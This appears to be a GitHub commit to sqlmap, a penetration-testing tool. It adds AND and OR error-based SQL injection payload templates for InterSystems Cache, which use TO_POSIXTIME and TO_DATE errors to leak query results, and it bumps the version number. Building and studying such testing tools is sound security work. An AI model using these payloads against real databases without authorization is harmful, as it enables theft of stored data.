Skip to content

Commit a1ed35c

Browse files
committed
Adding error-based payloads for InterSystems Cache
1 parent 2f56ad6 commit a1ed35c

2 files changed

Lines changed: 40 additions & 1 deletion

File tree

data/xml/payloads/error_based.xml

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -880,6 +880,45 @@
880880
</details>
881881
</test>
882882

883+
<test>
884+
<title>InterSystems Cache AND error-based - WHERE or HAVING clause</title>
885+
<stype>2</stype>
886+
<level>5</level>
887+
<risk>1</risk>
888+
<clause>1</clause>
889+
<where>1</where>
890+
<!-- TO_POSIXTIME (Cache/IRIS-exclusive) encloses TO_DATE, whose "Invalid input" error echoes the evaluated value -->
891+
<vector>AND [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]','YYYY'))</vector>
892+
<request>
893+
<payload>AND [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]','YYYY'))</payload>
894+
</request>
895+
<response>
896+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
897+
</response>
898+
<details>
899+
<dbms>InterSystems Cache</dbms>
900+
</details>
901+
</test>
902+
903+
<test>
904+
<title>InterSystems Cache OR error-based - WHERE or HAVING clause</title>
905+
<stype>2</stype>
906+
<level>5</level>
907+
<risk>3</risk>
908+
<clause>1</clause>
909+
<where>2</where>
910+
<vector>OR [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]','YYYY'))</vector>
911+
<request>
912+
<payload>OR [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]','YYYY'))</payload>
913+
</request>
914+
<response>
915+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
916+
</response>
917+
<details>
918+
<dbms>InterSystems Cache</dbms>
919+
</details>
920+
</test>
921+
883922
<test>
884923
<title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
885924
<stype>2</stype>

lib/core/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
from thirdparty import six
2121

2222
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23-
VERSION = "1.10.7.195"
23+
VERSION = "1.10.7.196"
2424
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2525
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2626
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

0 commit comments

Comments
 (0)